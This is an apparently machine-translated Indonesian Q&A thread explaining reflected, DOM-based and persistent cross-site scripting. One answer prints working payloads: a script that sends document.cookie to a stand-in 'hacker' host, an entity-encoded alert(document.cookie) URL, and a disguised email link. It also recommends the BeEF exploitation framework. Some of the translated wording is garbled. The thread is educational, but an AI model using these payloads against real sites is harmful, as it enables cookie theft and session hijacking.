it-swarm-id.com

Bagaimana cara kerja XSS?

Saya memiliki sedikit pengalaman dalam pengembangan web, tetapi saya tertarik pada keamanan. Namun, saya belum sepenuhnya memahami cara kerja XSS. Bisakah Anda menjelaskannya kepada dokter? Artikel Wikipedia memberi saya ide bagus tapi saya rasa saya tidak memahaminya dengan baik.

89
Ither

XSS - Cross Site Scripting (tetapi tidak terbatas pada skrip lintas situs yang sebenarnya)

XSS biasanya disajikan dalam 3 cara berbeda:

Non-persisten (sering disebut XSS tercermin)

Ini adalah ketika Anda dapat menyuntikkan kode dan server mengembalikannya kepada Anda, tidak bersih. Seringkali ini dapat dieksploitasi dengan mendistribusikan URL (biasanya tidak bersalah) dalam beberapa bentuk atau cara bagi orang lain untuk mengklik.

Ini bisa sangat efektif saat Anda berurusan dengan serangan terfokus terhadap seseorang. Selama Anda bisa membuat seseorang mengklik URL yang Anda kirim, ada kemungkinan Anda bisa mendapatkan hak istimewa yang ditingkatkan pada sistem.

Contoh:

Situs yang berisi bidang pencarian tidak memiliki sanitasi input yang tepat. Dengan membuat kueri penelusuran yang terlihat seperti ini:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Duduk di ujung yang lain, di server web, Anda akan menerima hit di mana setelah spasi ganda adalah cookie pengguna. Anda mungkin beruntung jika administrator mengklik tautan, yang memungkinkan Anda untuk mencuri sessionID mereka dan membajak sesi tersebut.

Menggunakan teknik seperti email spam, posting papan pesan, pesan IM, Perangkat Rekayasa Sosial kerentanan ini bisa sangat berbahaya.

Berbasis DOM

Sangat mirip dengan non-persisten, tetapi di mana payload javascript tidak harus digema kembali dari server web. Ini sering kali menjadi tempat di mana nilai dari parameter URL digemakan kembali ke halaman dengan cepat ketika memuat menggunakan javascript yang sudah ada.

Contoh:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Tentu saja para penjahat akan memodifikasi URL agar terlihat lebih polos. Payload yang sama seperti di atas hanya disandikan berbeda:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Anda bahkan dapat menyembunyikannya dengan lebih baik saat mengirim ke klien email yang mendukung HTML seperti ini:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Persisten

Setelah Anda dapat bertahan vektor XSS serangan menjadi jauh lebih berbahaya sangat cepat. XSS persisten direfleksikan kembali kepada Anda dari server, biasanya karena XSS telah disimpan dalam bidang database atau serupa. Pertimbangkan input berikut disimpan ke database dan kemudian disajikan kembali kepada Anda di profil Anda:

<input type="text" value="Your name" />

Jika Anda dapat membuat aplikasi menerima dan menyimpan input yang tidak bersih, yang harus Anda lakukan adalah membuat pengguna lain melihat profil Anda (atau di mana XSS dipantulkan kembali).

Jenis XSS ini tidak hanya sulit dikenali, tetapi juga sangat merusak sistem. Lihat saja cacing XSS bernama Samy worm !

Pada hari-hari awal XSS Anda melihat eksploitasi semacam ini di seluruh buku tamu, komunitas, ulasan pengguna, ruang obrolan, dan sebagainya.


Dua vektor serangan

Sekarang setelah Anda mengetahui berbagai cara menyampaikan muatan XSS, saya ingin menyebutkan beberapa vektor serangan XSS yang bisa sangat berbahaya:

  • Penempatan XSS

    Penolakan XSS bukanlah hal yang sulit untuk dilakukan. Jika XSS gigih juga, itu bisa merepotkan bagi sysadmin untuk mengetahuinya. Lihatlah RSnake Stallknown "attack" yang mengeluarkan fitur pratinjau buku Amazon. Bacaan yang cukup lucu.

  • Pencurian cookie dan pembajakan sesi

    Seperti dalam salah satu contoh di atas, setelah Anda dapat mengakses cookie pengguna, Anda juga dapat mengambil informasi sensitif. Menangkap sessionID dapat menyebabkan pembajakan sesi, yang pada gilirannya dapat menyebabkan peningkatan hak istimewa pada sistem.

Maaf tentang posting lama. Saya akan berhenti sekarang. Seperti yang Anda lihat, XSS adalah topik yang sangat besar untuk dibahas. Saya harap saya membuatnya sedikit lebih jelas untuk Anda.


Memanfaatkan XSS dengan BeEF

Untuk memudahkan melihat bagaimana XSS dapat dieksploitasi, saya sarankan untuk mencoba BeEF , Kerangka Eksploitasi Browser. Setelah dibongkar dan berjalan di server web dengan PHP dukungan, Anda dapat dengan mudah mencoba memunculkan simulasi korban (disebut zombie) di mana Anda dapat dengan mudah mencoba berbagai muatan XSS yang berbeda. Untuk menyebutkan beberapa :

  • Jaringan lokal portscan
  • Jaringan lokal Pingsweep
  • Kirim applet yang terinfeksi virus, ditandatangani dan siap
  • Kirim pesan ke klien
  • Lakukan panggilan Skype

Daftarnya berlanjut. Rekomendasikan melihat video di beranda BeEF.

PEMBARUAN: Saya telah melakukan menulis di XSS di blog saya yang menggambarkan XSS. Ini berisi sedikit tentang sejarah XSS, berbagai jenis serangan dan beberapa kasus penggunaan termasuk BeEF dan Shank.

80
Chris Dale

Untuk mendukung apa yang dikatakan SteveSyfuhs, ada banyak cara jahat yang mungkin digunakan XSS.

Contoh:

Salah satu contohnya adalah menyuntikkan kode berbahaya ke dalam bidang basis data. Selanjutnya, setiap kali bidang itu ditampilkan kepada pengguna akhir tanpa sanitasi, browser mereka akan mengeksekusi kode. Ini disebut Scripting Situs Lintas Persistent/Stored.

Lain akan kemampuan untuk memasukkan kode ke dalam GET atau POST parameter tanpa mereka divalidasi atau disanitasi. Ketika variabel-variabel memodifikasi konten halaman Anda, data yang dimodifikasi akan ditampilkan kepada pengguna akhir dan browser mereka kemudian akan mengeksekusi kode berbahaya. Ini biasanya hadir dalam tautan berbahaya melalui email/web yang mengirimkan parameter GET ini ketika seseorang mengklik tautan tersebut. Ini disebut Skrip Situs Lintas yang Dipantulkan.

Sumber daya:

Fortify Software memiliki sumber yang bagus untuk menjelaskan kerentanan dan memberikan contoh: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Klik pada bahasa pilihan, dan di bawah Validasi Input dan
    Representasi yang dapat Anda pilih dari berbagai jenis Cross Site
    Kerentanan skrip sebagaimana didefinisikan oleh Fortify Software.

[~ # ~] owasp [~ # ~] memiliki sumber yang bagus untuk menjelaskan cara mencegah kerentanan XSS: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS adalah tentang membiarkan data sewenang-wenang ke dalam sistem dan kemudian menunjukkan data yang tidak dimodifikasi ke pengguna. Jika saya menyimpan beberapa js ke profil saya dan membuat seseorang melihat halaman itu, js akan mengeksekusi. Sebagai contoh saya bisa meminta js mengirim konten cookie pengguna ke layanan web saya, memungkinkan saya untuk melakukan apa pun yang saya inginkan dengan cookie mereka seperti mencuri sesi mereka.

9
Steve

Singkatnya, Scripting lintas situs menipu web browser untuk mengeksekusi kode berbahaya karena pengembang tidak memeriksa input yang tidak dipercaya.

Jadi, jika Anda mengambil contoh serangan XSS, input yang tidak dipercaya bisa menjadi parameter URL yang berisi JavaScript. Pengembang menganggap parameter hanya berisi data (atau tidak cukup memeriksanya) dan hanya menambahkan konten parameter ke halaman HTML. Browser kemudian menjalankan JavaScript dengan patuh dan Anda sendiri mendapatkan serangan XSS yang tercermin.

Informasi lebih lanjut dapat ditemukan di sini: halaman OWASP XSS

8
Ventral